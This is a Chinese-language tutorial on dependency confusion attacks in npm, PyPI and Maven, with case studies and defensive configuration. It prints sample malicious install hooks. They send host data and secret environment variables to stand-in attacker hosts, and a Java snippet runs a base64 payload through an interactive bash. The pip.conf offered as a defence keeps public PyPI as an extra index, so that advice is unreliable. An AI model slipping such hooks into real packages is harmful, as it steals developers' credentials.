软件层供应链攻击-----依赖混淆攻击
字数 1526 2025-11-24 12:12:07
依赖混淆攻击:原理、案例与防御指南
1. 核心概念
1.1 定义
依赖混淆攻击是一种软件供应链攻击手段。攻击者通过向公共软件包仓库(如 npm、PyPI、Maven Central 等)上传名称与目标公司内部私有依赖包同名且版本号更高的恶意软件包,欺骗目标的构建工具(如 pip、npm、Maven 等),使其错误地下载并安装恶意公共包而非预期的私有内部包。
1.2 攻击本质
这是一种"冒名顶替"攻击,利用了包管理器在解析依赖时的默认行为:优先选择版本号最高的包。
2. 攻击原理详解
2.1 攻击成功的前提条件
- 内部存在私有依赖:公司内部开发了私有库,并存储在私有仓库中
- 依赖解析策略存在漏洞:包管理器配置为同时从公共和私有仓库获取包,且在命名冲突时优先选择版本号更高的包
2.2 攻击步骤
- 侦察阶段:收集内部包名称信息
- 恶意包制作:创建与内部包同名的公共包
- 设置高版本号:版本号远高于内部版本
- 嵌入恶意代码:添加后门、信息窃取程序等
- 等待触发:开发人员执行安装命令时自动下载恶意包
- 执行攻击:恶意代码在构建或运行时执行
3. 经典攻击案例分析
3.1 Alex Birsan的"白帽"攻击(2021年)
攻击手法
-
侦察阶段:
- 从公开源码、错误日志、文档收集内部包名
- 利用苹果Bug报告系统获取内部包名
- 分析技术招聘信息中的内部工具名称
-
恶意包配置:
{
"name": "slack-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "node exploit.js"
}
}
- 恶意代码实现:
const https = require('https');
const os = require('os');
const data = JSON.stringify({
package: process.env.npm_package_name,
version: process.env.npm_package_version,
hostname: os.hostname(),
username: os.userInfo().username,
platform: os.platform()
});
const options = {
hostname: 'malicious-server.com',
port: 443,
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': data.length
}
};
const req = https.request(options);
req.write(data);
req.end();
攻击成果
- 成功入侵35家顶级科技公司
- 苹果、微软、特斯拉、PayPal等均受影响
- 攻击包被下载超过35,000次
3.2 Python生态系统攻击
常见攻击模式
- 猜测内部包命名模式:
companyname-utilsinternal-toolsshared-libcommon-packagepython3-*(模仿系统包)
恶意setup.py示例
from setuptools import setup
import os, base64, requests
def collect_info():
try:
env_vars = {k: v for k, v in os.environ.items()
if any(keyword in k.lower() for keyword in
['key', 'secret', 'token', 'password'])}
encoded_data = base64.b64encode(str(env_vars).encode()).decode()
requests.post('https://attacker.com/exfil',
data={'info': encoded_data}, timeout=5)
except:
pass
collect_info()
setup(
name="internal-utils",
version="99.0.0",
packages=find_packages(),
install_requires=[],
)
3.3 Java/Maven攻击
恶意pom.xml配置
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>com.company.internal</groupId>
<artifactId>security-utils</artifactId>
<version>999.0.0</version>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<executions>
<execution>
<phase>initialize</phase>
<goals><goal>exec</goal></goals>
<configuration>
<executable>curl</executable>
<arguments>
<argument>-X</argument>
<argument>POST</argument>
<argument>-d</argument>
<argument>hostname=$(hostname)</argument>
<argument>http://attacker.com/collect</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
隐蔽的Java攻击代码
public class MaliciousDependency {
static {
try {
String javaHome = System.getProperty("java.home");
String userHome = System.getProperty("user.home");
if (userHome.contains("companyname") ||
javaHome.contains("corp")) {
Runtime.getRuntime().exec("bash -c {echo,base64-encoded-payload}|{base64,-d}|{bash,-i}");
}
} catch (Exception e) {
// 静默处理异常
}
}
}
3.4 供应链攻击结合依赖混淆
复杂攻击链条
- 第一阶段:依赖混淆攻击
- 第二阶段:供应链污染,在合法包中隐藏后门
- 第三阶段:持久化机制,修改CI/CD配置
恶意代码示例
const legitFunction = require('./legit-module');
const maliciousDependency = require('malicious-miner');
const dataStealer = require('stealth-exfiltrator');
module.exports = function() {
const result = legitFunction.process();
if (isProductionEnvironment()) {
startCryptomining();
exfiltrateDatabaseCredentials();
}
return result;
}
4. 防御措施详解
4.1 使用作用域包(最有效方法)
- 将内部包命名为有作用域的形式,如
@mycompany/awesome-tool - 配置包管理器仅从私有源获取特定作用域的包
npm配置示例(.npmrc):
@mycompany:registry=https://company.jfrog.io/company/npm/
//company.jfrog.io/company/npm/:_authToken=${ARTIFACTORY_TOKEN}
registry=https://registry.npmjs.org/
4.2 正确配置源优先级
确保构建系统优先查询私有源,或将私有源设置为唯一来源。
Maven settings.xml配置:
<settings>
<mirrors>
<mirror>
<id>company-mirror</id>
<name>Company Repository Manager</name>
<url>https://artifactory.company.com/artifactory/maven</url>
<mirrorOf>external:*</mirrorOf>
</mirror>
</mirrors>
<servers>
<server>
<id>company-internal</id>
<username>${env.ARTIFACTORY_USER}</username>
<password>${env.ARTIFACTORY_PASSWORD}</password>
</server>
</servers>
</settings>
Python pip配置(pip.conf):
[global]
index-url = https://pypi.company.com/simple
trusted-host = pypi.company.com
extra-index-url = https://pypi.org/simple
4.3 使用依赖锁定文件
- 始终使用并维护锁定文件:
- npm:
package-lock.json - pipenv:
Pipfile.lock - Rust:
Cargo.lock
- npm:
- 锁定文件确保依赖版本和哈希值的一致性
4.4 公共仓库名称抢占
- 在公共仓库发布内部包的同名空包或占位包
- 防止攻击者使用完全相同的名称
4.5 安全扫描和审计
- 使用软件成分分析工具持续扫描
- 定期运行安全审计命令:
npm auditsnyk test- 其他依赖安全检查工具
5. 最佳实践总结
- 强制使用作用域包:所有内部包必须使用公司作用域
- 严格配置仓库源:私有源优先,公共源仅作为补充
- 锁定依赖版本:所有项目必须使用锁定文件
- 实施CI/CD安全检查:在流水线中加入依赖安全检查步骤
- 员工安全意识培训:开发人员需了解依赖混淆攻击风险
- 定期安全审计:周期性检查依赖树中的异常包
通过实施这些防御措施,组织可以显著降低依赖混淆攻击的风险,保护软件供应链安全。